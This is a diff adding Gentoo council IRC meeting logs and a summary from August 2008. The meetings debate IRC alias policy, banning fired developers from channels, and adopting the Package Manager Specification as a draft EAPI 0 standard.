+20:37 <     jokey@> I'd say at least one user every 3-4 days over in #gentoo-php
+20:37 <     jokey@> so not that uncommon
+20:37 <   Halcy0n@> spb: is this something that has caused a lot of pain for others already?  And do you think if in our documentation we mention that Gentoo specific channels are #gentoo-* that would help?
+20:37 <Betelgeuse@> jokey: Quite common on #gentoo-java too even with the warnings all over the place.
+20:37 <       spb > it happens quite a lot on other networks i oper/admin on
+20:38 <       spb > and it wastes quite a lot of time talking completely at cross purposes before discovering what the person in question thinks he's on about
+20:38 <dleverton_ > People assuming that a #gentoo- channel is generic is pretty clearly a PEBKAC, whereas assuming that anything on irc.gentoo.org would be gentoo related seems a lot more reasonable.
+20:38 <KungFuJesu > I have seen some ubuntu-trolls come in from time to time
+20:38 <       spb > plus, someone asking a generic java question in #gentoo-java is easily recognised and easily directed elsewhere
+20:39 <    jilles > the 'independence' of a particular IRC network is rather good though
+20:39 <       spb > someone asking about how to do something on a gentoo system in a red hat channel that he thinks is a gentoo channel, on the other hand, is apt to cause massive confusion
+20:39 < dberkholz@> alright, we've got some points worth thinking about here, so we might want to hold off on an instant vote and finish it up on-list
+20:39 <   Halcy0n@> dberkholz: I agree.
+20:40 <   Halcy0n@> spb: thanks for the insight.
+20:40 < dberkholz@> thanks for bringing that up, spb 
+20:40 <     jokey@> dberkholz++
+20:40 <KungFuJesu > spb: I admit to doing this myself
+20:40 < dberkholz@> anything else new on this topic?
+20:40 <KungFuJesu > let's try to consider the IRC client, though.  If one isn't aware of what channel they're typing into this same problem will happen anyway
+20:41 <Betelgeuse@> KungFuJesus: ?
+20:41 < dberkholz@> are there many popular irc clients that don't display the channel?
+20:41 < dberkholz@> that seems a bit hard for me to grasp
+20:41 <KungFuJesu > they display it, but it's easy to forget it's there sometimes
+20:41 <  blackace > uhh, we're still talking about this?  if someone is too stupid to realize where they are, they're too stupid no matter what we do
+20:41 <Betelgeuse@> blackace: yeah exactly
+20:41 <KungFuJesu > I'm using irssi, and maybe I'm just stupid, but I've done it
+20:41 <  blackace > we should do what is best for Gentoo, not what is best for stupid people
+20:42 <   Halcy0n@> blackace: I agree, but its worth considering the impact we'll have on other users of the network.
+20:42 <Betelgeuse@> dberkholz: Some people come around to IRC via some Java applets for example and don't really know what they are doing.
+20:43 <Betelgeuse@> But that's not the point here.
+20:43 <       spb > blackace: sometimes what's best for gentoo is not pissing off the people who host services for you
+20:43 <  blackace > Halcy0n: I don't see what impact we'll have, if a gentoo user joins ##php and asks a php question, it's probably still on-topic
+20:43 < dberkholz@> yeah, i don't really think any of this part is relevant
+20:43 <KungFuJesu > spb: would freenode be angry if we left their network?
+20:43 <  blackace > spb: I don't really care
+20:43 < dberkholz@> if people type iwthout reading, then they do
+20:43 <       spb > so i noticed
+20:43 < dberkholz@> without*
+20:43 <   Halcy0n@> (random aside, its now pouring here, so if I disconnect, I lost power)
+20:43 < dberkholz@> so let's move on to the next topic
+20:43 -!- dberkholz changed the topic of #gentoo-council to: Why aren't fired developers banned from the channels where they displayed this behavior?
+20:44 < dberkholz@> anyone have a question/comment/response?
+20:44 <  blackace > isn't that kind of up to the individual channel owners except in the case of #gentoo-dev?
+20:44 <KungFuJesu > sorry for my ignorance, but what behavior?
+20:44 < dberkholz@> KungFuJesus: if you don't have the context for this discussion, you might want to sit it out
+20:44 <  blackace > KungFuJesus: the behavior that got them fired?
+20:44 <    musikc > blackace, what about the common ones like #-dev? would that be different?
+20:44 <KungFuJesu > oh I see
+20:44 <dleverton_ > As I said on the list (maybe too late for anyone to have noticed), since yngwin said there were're actually any devs that this applies to, is there anything to discuss?
+20:45 <  blackace > musikc: err, I said, except for -dev :)
+20:45 <dleverton_ > *weren't
+20:45 <    musikc > hehe, sorry blackace
+20:45 < dberkholz@> dleverton_: i must've interpreted his response differently from you
+20:45 <    yngwin > i didnt say it like that, dleverton_
+20:45 <    musikc > ive been asked about specific devs
+20:45  * dleverto will read it again.
+20:45 < dberkholz@> what i understood was that we should ban them from the same communication channel
+20:45 <   Halcy0n@> dberkholz: I will post my feedback on the thread.
+20:46 <       spb > can i just point out at this point that the majority of "evidence" presented against the three of us that were removed came from #gentoo-dev
+20:46 < dberkholz@> and allow other ones where they handled themselves differently
+20:46 <       spb > and that we were banned from there for quite some time
+20:46 <    musikc > ok, from a devrel perspective it is not a right for retired devs to automatically get voice in #-dev
+20:46 <  blackace > musikc: the only issue I see with -dev is that since they're not banned they rely on another dev voicing them and two devs could get into a +v/-v war over it
+20:46 <dleverton_ > I asked who he was referring to, aballier said "nowhere have I seen any accusation", and yngwin said he agreed (and certainly didn't ganswer my question directly).
+20:47 <    musikc > blackace, thats a recent freenode limitation
+20:47 <dleverton_ > If there is no accusation, that presumably no-one is being accused.
+20:47 <    musikc > blackace, and maybe a bot could take care of that
+20:47 <    yngwin > dleverton_: because i dont want to talk about specific cases, but about policy
+20:47 <   antarus > I used to get annoyed when spb trolled #gentoo-dev often
+20:47 <  blackace > musikc: yeah, there are more than a few ways to skin that cat :)
+20:47 <KungFuJesu > if they're fired, I can see why they shouldn't be able to speak in the *-dev channels, however if they quit on their own volition, there is a sense of welcomed experience for a veteran developer to come back and give input
+20:47 <   antarus > but I find now that I'm not on irc as much i don't care
+20:47 <dertobi123@> i think this topic belongs to the CoC discussion as its a part of that discussion
+20:48 <    fmccor > Isn't there already a policy question on this sort of thing floating around?
+20:48 <    musikc > fmccor, the policy discussion i think you refer to is the extent of CoC enforcement?
+20:49 <  blackace > if the CoC is violated, wouldn't they have already been banned prior to being fired?
+20:49 <    kloeri > musikc: I don't get your comment about a recent freenode limitation - you can ban and unvoice people if you like just as you've always been able to
+20:49 <jmbsvicett > dertobi123: I think you'll be restricting it much if you put it under CoC - it's a larger issue
+20:49 <dleverton_ > yngwin: so it's purely a hypothetical question, then?
+20:49 <    fmccor > I think so.  As I said, I'm not even sure what that iw about anymore.
+20:49 <    musikc > kloeri, tomaw knows what i refer to, long conversation about it
+20:49 <   Halcy0n@> kloeri: she means the -1 access level to automatically remove ops/voice.
+20:49 <jmbsvicett > kloeri: mode -1, iirc
+20:49  *   musikc nods and hands cookies to Halcy0n and jmbsvicetto 
+20:49 <  blackace > mind readers!
+20:50 <       spb > there is a general principle on which almost all IRC-based software is designed
+20:50 <       spb > and that is that if you don't trust someone, you don't give them operator access
+20:50 <  blackace > spb: which probably has nothing to do with this meeting
+20:50 <       spb > which makes access level -1 redundant
+20:50 <    musikc > blackace ++
+20:50 <    kloeri > there's a rather easy solution to that.. don't give +o to people that can't follow gentoo decisions and keeps removing bans and voicing people who're not supposed to be voiced
+20:50 <       spb > blackace: quite true, but then nor did the comment to which i was responding
+20:51 <   Halcy0n@> dberkholz: I think we aren't getting much here, so I suggest we bring this to the ML to discuss any points people want to bring up.
+20:51 < dberkholz@> does anyone have a new question or comment that's directly related to the topic?
+20:51 <     tomaw > Is the council interested in the autodevoice feature or is this rambling off topic?
+20:51 <    Cardoe >  ok wrangling this back on topic...
+20:51 <     tomaw > If you are then I have a simple explanation.  If not, I won't bother.
+20:51 <    musikc > from a devrel perspective, we do not give voice to every dev who is retired so why should a forcibly retired dev be any different?
+20:51 -!- mode/#gentoo-council [+v Cardoe] by Halcy0n
+20:51 <jmbsvicett > tomaw: As long as we stick to freenode, -1 is something that interests us
+20:51 <    Cardoe+> This needs to be kicked back to the list.
+20:52 <   Halcy0n@> Cardoe: agreed.
+20:52 <     tomaw > Well, I can tell you that the feature isn't present on OFTC either ;)
+20:52 <    Cardoe+> It probably even belongs in devrel's level.
+20:52 <  blackace > OFTC isn't our only option
+20:52 <     tomaw > True, but it is one, hence me mentioning it.
+20:52 <    Cardoe+> Standardize a policy for what happens to voluntarily retired devs and forcibly retired devs.
+20:52 <   Halcy0n@> This is all a bit off topic, so if we could please go back to the topic at hand.
+20:52 <  blackace > sorry :)
+20:52 <     tomaw > Halcy0n: sure, sorry.
+20:53 < dberkholz@> since nobody's adding anything on the topic, let's move on
+20:53 < dberkholz@> feel free to discuss the other stuff on -dev or wherever you like besides right here and right now =)
+20:53 <    Cardoe+> Can we actually tweak it?
+20:53 <    Cardoe+> the council direct devrel to come up with a proposed solution/policy
+20:53 <    Cardoe+> and move along
+20:53 <    musikc > Cardoe, im happy to do so
+20:54 <     jokey@> deal then ;)
+20:54 <    musikc > dberkholz, declare it an action item and im there :)
+20:54 <dertobi123@> heh
+20:54 < dberkholz@> i don't agree with having a written policy for everything
+20:54 < dberkholz@> Cardoe: i added your point to the summary, i'd like to discuss it more
+20:55 <    musikc > dberkholz, your call. happy to assist by doing work or by just stating current process and devrel stance :)
+20:55 < dberkholz@> (outside the meeting)
+20:56 <    musikc > sold!
+20:56 < dberkholz@> if there aren't any other questions/suggestions, let's move on
+20:56 <    musikc > hehe
+20:56 -!- dberkholz changed the topic of #gentoo-council to: PMS as a draft standard of EAPI 0
+20:56 < dberkholz@> we were talking about this earlier today in here
+20:56 <    Cardoe+> I'd say we're pretty close on this
+20:57 <    musikc > dberkholz, i propose taking it to the list due to discussion from prior to this meeting
+20:57 <    Cardoe+> save for the PMS guys feel one way and ${package_manager} feels another way
+20:57 < dberkholz@> to quickly summarize, EAPI 0 and portage need to agree. there are some conflicts of opinion, and the question is how do they get resolved?
+20:57 <   ciaranm > specific examples please?
+20:57 <       spb > ciaranm: --jobs breaking invariancy was one example given
+20:58 <    Cardoe+> my proposal is open a specific bug and have a specific bug at hand and let the council decide which way as far as conflict resolution.
+20:58 < dberkholz@> 17:24 <   zmedico > dberkholz: mainly these two:  http://bugs.gentoo.org/show_bug.cgi?id=222721  http://bugs.gentoo.org/show_bug.cgi?id=232990
+20:58 < dberkholz@> 17:25 <   zmedico > In both cases I consider something to be negligible that  the pms folks do not
+20:58 <   ciaranm > ah. well, the way portage does --jobs is broken. so pms is right there and someone needs to make zmedico fix portage
+20:58 <jmbsvicett > dberkholz: There must also be a way for future updates to the doc to take input from all PMs and not to be at the discretion of the current people behind PMS
+20:58 <   ciaranm > portage is breaking existing stuff in the tree, so portage is in the wrong there
+20:58 <    musikc > jmbsvicetto, makes sense
+20:58 <   ciaranm > jmbsvicetto: examples of where we've rejected input please?
+20:59 <   zmedico > ciaranm: I haven't seen any evidence to support you claims
+20:59 <    Cardoe+> potentially creating a PMS editor post.
+20:59 <   ciaranm > zmedico: it's on the bug
+20:59 <   Calchan > ciaranm, broken from whose point of view besides yours ?
+20:59 <    Cardoe+> That person can not be a developer on ANY package manager
+20:59 <    musikc > i liked Halcy0n's idea about some kind of third party work on it
+20:59 <   zmedico > ciaranm: not good enough
+20:59 <   ciaranm > Calchan: objectively broken
+20:59 <   zmedico > subjectively
+20:59 <   ciaranm > Cardoe: examples of where the current editors aren't doing well enough?
+20:59 <    Cardoe+> Halcy0n: You and I discussed this long ago
+20:59 <    musikc > dberkholz, definitely sounds like a take it to the list item
+20:59 <   Halcy0n@> Cardoe: the mediation thing?  Yes, and I brought it up again earlier :)
+20:59 <   ciaranm > zmedico: no no. causing system breakage is not subjective.
+20:59 <    Cardoe+> ciaranm: no situation where the current editors are not
+21:00 < dberkholz@> what we're trying to do here is not have a discussion, but figure out where the conflicts and questions are
+21:00 <    Cardoe+> ciaranm: It's just the logical solution.
+21:00 <   Halcy0n@> dberkholz: I think the mailing list would be best to get all of these things straightened out.
+21:00 <    Cardoe+> Put it in the hands of a third party
+21:00 <   zmedico > ciaranm: you don't have enough evidence to show it's not neglible
+21:00 <   antarus > indeed too much talking here ;p
+21:00 <    Cardoe+> and if there's a conflict, let the council decide
+21:00 <       spb > it's the logical solution based on an irrational set of premises
+21:00 <    Cardoe+> however there should be an explicit bug.
+21:00 <   ciaranm > Cardoe: i'd say the logical solution is using what's available, given limited manpower...
+21:00 <   ciaranm > zmedico: two different packages running eselect opengl to save and restore in pkg_*. b0rk!
+21:00 <    Cardoe+> fine. I'll volunteer to be the PMS editor
+21:00 <    Cardoe+> everyone can submit patches to me
+21:01 <   ciaranm > Cardoe: what are your qualifications?
+21:01 <    musikc > dberkholz, conflict in that some feel PMS is biased?
+21:01 <    Cardoe+> and when there's a specific conflict
+21:01 <   ciaranm > musikc: specific examples of bias please
+21:01 <   zmedico > ciaranm: I've never seen it happen
+21:01 <    Cardoe+> I'll create a specific bug and ask the council to decide
+21:01 <   ciaranm > zmedico: so? it can happen
+21:01 <jmbsvicett > ciaranm: What are *your* qualifications?
+21:01 <   ciaranm > jmbsvicetto: i wrote the only independent implementation of EAPIs 0 and 1
+21:01 <Betelgeuse@> Well we shouldn't be changing EAPI 0 stuff in the first place. We should be creating new EAPIs.
+21:01 <   ciaranm > jmbsvicetto: and i wrote more than half of PMS
+21:01 <    musikc > ciaranm, he asked what the conflict was and i was commenting to conversations you were not present for prior to meeting hence my previous statement of a 'take it to the list' item for further discussion
+21:01 <KungFuJesu > later
+21:01 <jmbsvicett > ciaranm: really?
+21:01 <   zmedico > ciaranm: I doubt it
+21:02 <   ciaranm > zmedico: explain how portage prevents the scenario i described frmo happening
+21:02 <   ciaranm > jmbsvicetto: really to which one?
+21:02 <jmbsvicett > ciaranm: To writting the "only independent" implementation
+21:02 <   zmedico > ciaranm: explain an upgrade scenario where it will happen
+21:02 <   antarus > ciaranm: I thinnk the answer is 'it does not' and 'he does not care'
+21:02 <   Halcy0n@> dberkholz: are we done? :)
+21:02 < dberkholz@> does anyone have a new point here?
+21:02 <   antarus > just +m the channel and get on with it ;)
+21:02 <       spb > or rather, does the council have an answer to the question that i posed?
+21:02 < dberkholz@> all i'm seeing is the same argument going back and forth
+21:03 <   lu_zero@> sigh
+21:03 <   ciaranm > jmbsvicetto: pkgcore uses a lot of portage stuff, which is why it doesn't find a lot of the issues paludis does
+21:03 <   ciaranm > zmedico: two packages do the save / restore stuff in pkg_*. portage parallelises them. splat.
+21:03 < dberkholz@> ciaranm, zmedico: could you discuss this somewhere else, please?
+21:03 <    Cardoe+> seriously. We need to hash out a proper channel
+21:04 <     jokey@> yep
+21:04 <   ciaranm > dberkholz: i'd like the council to discuss it, since zmedico is being deliberately ignorant
+21:04 <   ciaranm > in that he knows it's possible for breakage to happen, and he chooses to say "i haven't seen it so it doesn't exist"
+21:04 <    Cardoe+> dberkholz: we can legitimately discuss the two bugs that zmedico and ciaranm have pointed out.
+21:04 <   Halcy0n@> We've hit our one hour mark, so I'd like to slate this for our next meeting.  I have to call into a meeting for work right now.
+21:04 < dberkholz@> Cardoe: on the list...
+21:05 <     jokey@> Halcy0n: ++
+21:05 <Betelgeuse@> spb: Doesn't look like it.
+21:05 <       spb > somehow i'm not overly surprised
+21:05 < dberkholz@> ok.
+21:05 <    Cardoe+> spb: what was the question?
+21:05 <   ciaranm > does the current council even still consider pms a priority?
+21:05 < dberkholz@> It should be treated as a draft standard, and any deviations from it
+21:05 < dberkholz@> found in the gentoo tree or package managers should have a bug filed
+21:05 < dberkholz@> against either the deviator or PMS to resolve the differences.
+21:05 < dberkholz@> Alternatively, what (specific) changes are required to PMS before such a
+21:05 < dberkholz@> statement can be made?
+21:06 < dberkholz@> ok.
+21:06 <Betelgeuse@> In general I agree that we should push for this to get things forward.
+21:06 < dberkholz@> as Halcy0n said, we've hit the one-hour mark
+21:06 <    Cardoe+> I'd vote for that statement to be true as long as we can specify the method to resolve differences.
+21:06 <   Halcy0n@> spb: with everything going back and forth, I can't make a decision on it until we figure out how differences will be resolved and/or handled.
+21:06 < dberkholz@> so we'll push this to the list, and bring it up again in 2 weeks if we haven't gotten it resolved on-list
+21:07 <   Halcy0n@> Which seems to need further discussion.
+21:07 <Betelgeuse@> Cardoe: I would just put the council actively involved.
+21:07 <   lu_zero@> fine
+21:07 < dberkholz@> i look forward to seeing everyone's responses to all these topics on the list by monday
+21:07 <       spb > differences will be resolved by filing a bug, so what needs to be sorted is what sort of escalation/mediation mechanism there is
+21:07 <Betelgeuse@> At least something technical to talk about instead of the project stuff.
+21:07 <jmbsvicett > spb: I think there's a bit more to discuss than that
+21:08 <   ciaranm > jmbsvicetto: specifically what?
+21:08 <   Halcy0n@> dberkholz: thanks for chairing.
+21:08 < dberkholz@> feel free to continue discussion, although this meeting is over
+21:08 <jmbsvicett > specifically that the document doesn't reflect what the authors want to reflect instead of what is the reality or what people around gentoo want it to reflect
+21:08 < dberkholz@> and please post anything important to the list
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080828-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080828-summary.txt
new file mode 100644
index 00000000..2bd1887e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080828-summary.txt
@@ -0,0 +1,91 @@
+Roll call
+=========
+betelgeuse here
+dberkholz  here
+dertobi123 here
+flameeyes  here [cardoe]
+halcy0n    here
+jokey      here
+lu_zero    here
+
+
+Old topics
+==========
+
+Reactions to dev banned from freenode
+-------------------------------------
+Update: none. Assume lack of interest.
+
+
+Moving meetings to a location we control
+----------------------------------------
+Update: none. Assume lack of interest.
+
+
+Favor irc.gentoo.org alias in docs, etc
+---------------------------------------
+Update: Freenode acknowledgments page thanks people for doing this, so 
+the potential issue with confusion apparently isn't a large problem.
+
+Goal: Can we decide today?
+
+Decision: Update all our pointers to IRC to use irc.gentoo.org. (But 
+please mention FreeNode is our provider.)
+
+
+Why aren't fired developers banned from the channels where they
+displayed this behavior?
+---------------------------------------------------------------
+Update:
+
+For banning from those channels: halcy0n, dertobi123 (on gentoo-dev)
+No opinions from the rest of us
+
+Goal: Get yes or no on banning from the same channels. If no, ask for 
+alternate suggestions if there are any. (Example: let devrel decide)
+
+Summary: halcy0n, dertobi123, lu_zero think fired devs should be banned 
+from the places where they behaved in the way that got them fired. 
+dberkholz and cardoe think that this should be handled by devrel and 
+council shouldn't set policy on it. halcy0n later agreed with letting 
+devrel address it, as did lu_zero and betelgeuse.
+
+
+PMS as a draft standard of EAPI 0
+---------------------------------
+What changes are required before this is true?
+
+Update: The main thing that needs to get figured out is conflict 
+resolution.
+
+Idea: Ask portage devs & PMS authors to develop a process that both 
+groups will respect, then present it to the council for approval. 
+Options include a "neutral" third party as PMS czar, having council 
+decide, just trying harder to come to agreement, deciding that e.g. 
+portage's choice always wins, random, etc.
+
+spb and ciaranm agree that a third party or council would work well. 
+Since such a third party would probably be better invested in actually 
+working on the spec, the council seems reasonable if PMS editors & PM 
+developers can't work it out.
+
+20:46 < dberkholz@> zmedico, ferringb, ciaranm, spb: so you'll all agree to 
+                    follow council decisions on conflicts you aren't able to 
+                    resolve otherwise?
+20:46 <   zmedico > dberkholz: I agree
+20:47 <  ferringb > dberkholz: either way, game to attempt something different- 
+                    what's in place doesn't particularly work imo
+20:47 <   ciaranm > dberkholz: so long as the council's prepared to follow 
+                    through with its resolutions
+20:49 <  ferringb > either way, council as arbitrator flies.
+
+Decision: Council will vote to resolve conflicts that the PMS editors 
+and PM developers weren't able to resolve.
+
+zmedico, ferringb & ciaranm (developers of each PM) all agree that 
+having a written specification is worthwhile.
+
+Next meeting is Sept 11, and we request that everyone involved with PM 
+development or the spec email gentoo-dev about any issues with it. 
+Otherwise, it's likely to be approved as a draft standard.
+
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080828.txt b/xml/htdocs/proj/en/council/meeting-logs/20080828.txt
new file mode 100644
index 00000000..b731ee8f
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080828.txt
@@ -0,0 +1,310 @@
+19:56 < dberkholz@> are folks around?
+19:56 <   lu_zero@> \o/
+19:56 < dberkholz@> if it starts to get out of hand like last time, i'm gonna have to +m it.
+19:56 -!- Irssi: #gentoo-council: Total of 59 nicks [6 ops, 0 halfops, 0 voices, 53 normal]
+19:58 <Betelgeuse@> dberkholz: yes
+20:00  * dertobi1 is around
+20:00 < dberkholz@> ok, it's 2000
+20:00 -!- mode/#gentoo-council [+v Cardoe] by dberkholz
+20:01  *    jokey looks up
+20:01 < dberkholz@> Halcy0n: ping
+20:02 < dberkholz@> we've got 6, let's get started. hopefully he shows up in the next few min
+20:02 <   Halcy0n@> Present :)
+20:02 < dberkholz@> oops, never actually saw Cardoe respond
+20:03 <    Cardoe+> I'm here
+20:03 < dberkholz@> ok
+20:03 < dberkholz@> agenda's in /topic if anyone hasn't had a chance to look it over
+20:03 <    Cardoe+> Was just zoned out staring at the wall waiting for the meeting to begin :-D
+20:03 < dberkholz@> sorry for the delay in getting it out, i've got a lot on my mind
+20:04 < dberkholz@> (new baby showing up in a few days)
+20:04 <     jokey@> congrats ;)
+20:04 -!- dberkholz changed the topic of #gentoo-council to: Favor irc.gentoo.org alias in docs, etc
+20:04 <   lu_zero@> I think we are all fine with this
+20:04 < dberkholz@> so, folks on -dev pointed out that apparently freenode folks like when other domains point to them
+20:04 <   lu_zero@> (congrats btw)
+20:04 <   Halcy0n@> congrats :)
+20:04 <Betelgeuse@> dberkholz: congrulations/condolences
+20:05 < dberkholz@> heh, that's more accurate, no doubt.
+20:05 <   Halcy0n@> I think we are ready to vote on this one.
+20:05 <Betelgeuse@> yes
+20:05 < dberkholz@> yes
+20:05 <Betelgeuse@> and yes
+20:05 <dertobi123@> yes
+20:05 <    Cardoe+> I was ready last week.. ;)
+20:05 <    Cardoe+> yes
+20:06 <     jokey@> yes
+20:06 <     jokey@> :D
+20:06 <   Halcy0n@> yes
+20:06 < dberkholz@> cool
+20:06 -!- dberkholz changed the topic of #gentoo-council to: Why aren't fired developers banned from the channels where they displayed this behavior?
+20:07 <Betelgeuse@> I don't think banning is necessary if the behaviour in question was misusage of power.
+20:07 < dberkholz@> Halcy0n & dertobi123 already replied on -dev saying they think fired devs should be banned from that place
+20:07 <     jokey@> same here
+20:07 <   lu_zero@> +1
+20:07 < dberkholz@> my opinion is that devrel should decide
+20:07 <       spb > the obvious answer is that they should be banned from any place where they've shown behaviour that would get any normal person banned
+20:08 <Betelgeuse@> I agree with spb.
+20:08 < dberkholz@> and if anything, we should just say devrel (or whoever's in charge of a certain place) has the right to do so
+20:08 <       spb > and, therefore, not from any place where they haven't
+20:08 <   Halcy0n@> spb: I think that's what I was trying to say, if I didn't word it in that exact way. :)
+20:08 <    Cardoe+> dberkholz: as I suggested last week. empower devrel to make the proper decision and to create a policy on this.
+20:08 <       spb > given that, i don't really see what being fired has to do with it
+20:09 <   Calchan > I don't agree, they've shown inapropriate behavior, the place doens't matter, they could have done it anywhere
+20:09 < dberkholz@> that's beyond the scope of this topic, which is a bit more focused
+20:09 <dleverton_ > So now we're punishing people for what they "could" have done?
+20:10  * musikc|l is back
+20:11 <musikc|lap > "saying they think fired devs should be banned from that place" +1
+20:11 <    Cardoe+> dberkholz: so what's the formal question asked of the council.. cause why isn't something for the council to answer since the council doesn't do the banning
+20:11 <    Cardoe+> devrel does
+20:11 <musikc|lap > Calchan, do you think a fired dev should be banned from all channels? not sure i understand and want to clarify
+20:12 <    Cardoe+> so the question should be why don't we empower devrel to establish a policy and enforce it
+20:12 <      rane > devrel or userrel?
+20:12 <   Calchan > musikc|laptop, the problem is the behavior, not the channel
+20:12 <Betelgeuse@> Cardoe: I don't think we need to be handling fired devs any different from other users.
+20:12 <   antarus > Calchan: I disagree; the day the coucil says I have to ban a user from a channel I own is the day I resign
+20:12 <musikc|lap > Calchan, that makes sense but no one team has the authority unless council opts to grant it to control every #gentoo-*
+20:13 <Betelgeuse@> If our policies on banning users aren't clear then they can be improved.
+20:13 <    Cardoe+> Betelgeuse: and that policy is to have userrel have a policy and enforce it
+20:13 <   antarus > s/says/forces/
+20:13 <   antarus > they are free to make a compelling argument for a ban of course ;)
+20:13 <musikc|lap > Cardoe, i think it depends actually
+20:14 <musikc|lap > if the dev is being fired for a certain behavior such as inappropriate channel behavior, perhaps devrel is being asked why we dont automatically remove them from that channel, or as Calchan points out all channels.
+20:14 <musikc|lap > if its a former dev who later exhibits that behavior it's totally user rel
+20:14 <       spb > the most obvious response to which is that it's up to the channel owners who they allow in their channels
+20:15 <musikc|lap > spb, see my previous comment about how no one team has that authority currently
+20:15 <   ciaranm > in the same way that a gentoo developer spamming one irc channel is removed from all of freenode, you mean?
+20:15 <dleverton_ > musikc|laptop: the authority to let channel owners decide how to run their channels?
+20:15 < dberkholz@> this clearly has the potential to run forever, so let's set a 15-minute time limit on discussion here.
+20:15 < dberkholz@> starting now
+20:15 <musikc|lap > dleverton_, im merely stating that no one team has absolute authority in every channel
+20:15 <   Calchan > antarus, the question is should you own an official gentoo channel or should gentoo own it ?
+20:16 <musikc|lap > dberkholz, can you define if the question pertains to only certain channels or all?
+20:16 <   antarus > Calchan: perhaps gentoo should trust its developers to make good choices ;)
+20:16 <musikc|lap > Calchan, Gentoo owns it. when someone leaves the project the channel is handed over to another person, not left with ownership to the previous
+20:16 <       spb > Calchan: and gentoo's policy has long stated that individual teams and/or developers own and run their channels
+20:17 < dberkholz@> musikc|laptop: the question is pretty specific. it's just banning from the place where they showed that kind of behavior
+20:17 <musikc|lap > dberkholz, then perhaps we should stick to just that question for now.
+20:17 <       spb > dberkholz: in which case it's up to the channel owner to decide what sort of behaviour warrants a ban from that channel
+20:17 <       spb > that seems fairly obvious to me
+20:17 <musikc|lap > i agree that if the person is removed from gentoo for such behavior that we should remove them from that channel
+20:18 < dberkholz@> each irc channel isn't a separate organization, though. we're all part of gentoo
+20:18 <musikc|lap > dberkholz, so you want to change the question to apply to all channels then?
+20:18  * blackace doesn't see the issue, if they get fired for misbehaving somewhere they were probably removed from that somewhere before being fired, if they then misbehave somewhere else as a user, ban them from there, and so on...
+20:18 <       spb > and each channel is part of freenode, but we know enough to leave management of them to the channel owner
+20:18 < dberkholz@> i'm still trying to figure out the best way to go. i'm just making some points
+20:18 <      rane > it's unrealistic to ban a person in all #gentoo-* channels
+20:18 <dleverton_ > Can we define what exactly we mean by "channel"?  IRC, or more general?
+20:19 <musikc|lap > spb, a channel owner owns the channel as granted by Gentoo. otherwise it wouldnt be an official Gentoo channel
+20:19 < dberkholz@> more general for the whole topic -- a mailing list, the forums, etc
+20:20 <jmbsvicett > One point that has been raised is whether the council want to treat ex-devs differently from other users
+20:20 <jmbsvicett > If not, devrel doesn't deal with users.
+20:20 <     jokey@> the only difference is that they get auto+v in #-dev afaik
+20:20 <musikc|lap > jmbsvicetto, i think the topic is upon removing them, not later. if it's later then its definitely not a dev rel issue and they should be treated as any user
+20:21 <musikc|lap > jokey, devrel doesnt grant +V to everyone, first they must ask and second it must be approved
+20:21 <jmbsvicett > musikc|laptop: I understand. Another question is if we're talking about #gentoo-dev, #gentoo or specific projects channels
+20:21 <dertobi123@> dberkholz: i disagree, if this topic would be about lists, forums, #gentoo-* we're back at the "total ban from gentoo" discussion
+20:22 < dberkholz@> dertobi123: not really. it's just saying that banning from a specific place applies equally to a single irc channel or a single mailing list.
+20:22 <musikc|lap > jmbsvicetto, the question per dberkholz's explanation is for just #-dev but the discussion could include thoughts on all mediums and channels
+20:22 < dberkholz@> we're not at all addressing right now whether people should be additionally banned from other places
+20:23 <musikc|lap > council, so to the question at hand, only dberkholz and Halcy0n have shared their views. any others?
+20:23 < dberkholz@> dertobi123 did too, on list. =)
+20:23 <dertobi123@> yep
+20:24 <   lu_zero@> and I just said that I agreed
+20:24 <    Cardoe+> my opinion is that it should be up to devrel
+20:24 <dertobi123@> it's a logical step to ban someone from a place where he showed misbehaviour
+20:24  * musikc|l agrees
+20:24 <jmbsvicett > musikc|laptop: If it's #gentoo-dev, then I think it's up to devrel
+20:24 <dertobi123@> i don't see what needs to be discussed there besides the way of the how this if enforced
+20:25 <musikc|lap > dertobi123, how about enforced upon removal?
+20:25 <   Halcy0n@> I'm fine with just saying that this is up to devrel to decide on their policy and if someone wishes to question that policy, we address it at that point in time.
+20:26 <musikc|lap > Halcy0n, im ok with that. however id hope if someone wants to discuss a devrel policy they discuss it with ... you know... devrel first
+20:26 <dertobi123@> musikc|laptop: ack. it should be part of the retirement process from my pov (except when the person in question already has been banned from this places)
+20:26 <     jokey@> ++
+20:26 <musikc|lap > dertobi123, +1
+20:27 <    Cardoe+> seems like there's a reasonable consensus.... now on to technical things..
+20:28 <musikc|lap > agreed, ill work with rane and jmbsvicetto to hammer out any details from a devrel pov and we'll run it through the rest of devrel for feedback
+20:28 < dberkholz@> we haven't gotten agreement from a council majority on that
+20:28 < dberkholz@> that's me, Cardoe, Halcy0n 
+20:28 <musikc|lap > haha, sorry!
+20:29 < dberkholz@> lu_zero hasn't agreed & i'm not entirely clear on dertobi123 
+20:29 <musikc|lap > <Cardoe> my opinion is that it should be up to devrel
+20:29 < dberkholz@> Betelgeuse is probably eating popcorn
+20:29 <Betelgeuse@> :D
+20:29 <Betelgeuse@> I really should by some.
+20:29 <    Cardoe+> dberkholz: are you waiting on me?
+20:29 <   lu_zero@> dberkholz I consider it part of the retirement process
+20:29 < dberkholz@> Cardoe: nope
+20:30 < dberkholz@> lu_zero: ok, so you're fine with devrel deciding how to handle it?
+20:30 <musikc|lap > Cardoe, i was just posting your comment as it was the shortest one to sum it all up :)
+20:30 <   lu_zero@> dberkholz it's devrel task to retire people
+20:30 < dberkholz@> i'll take that as a yes
+20:30 <Betelgeuse@> I think it probably should be in the retirement process if the question is being retired due the continuing bad behaviour.
+20:31 <Betelgeuse@> s/probably//
+20:31 < dberkholz@> ok. now it indeed does seem that we've reached agreement
+20:31 < dberkholz@> right on time, too
+20:31 <musikc|lap > ;)
+20:31 <   lu_zero@> good
+20:32 -!- dberkholz changed the topic of #gentoo-council to: PMS as a draft standard of EAPI 0: Conflict resolution
+20:32 <    fmccor > How far back does this go?  Would you ban someone fro #gentoo-dev, say, today for something that happened 2 years ago?
+20:33 <    fmccor > That strikes me as silly.
+20:33 < dberkholz@> devrel's making the policy
+20:33 < dberkholz@> discuss it amongst yourselves =)
+20:33 < dberkholz@> we're talking about EAPI 0
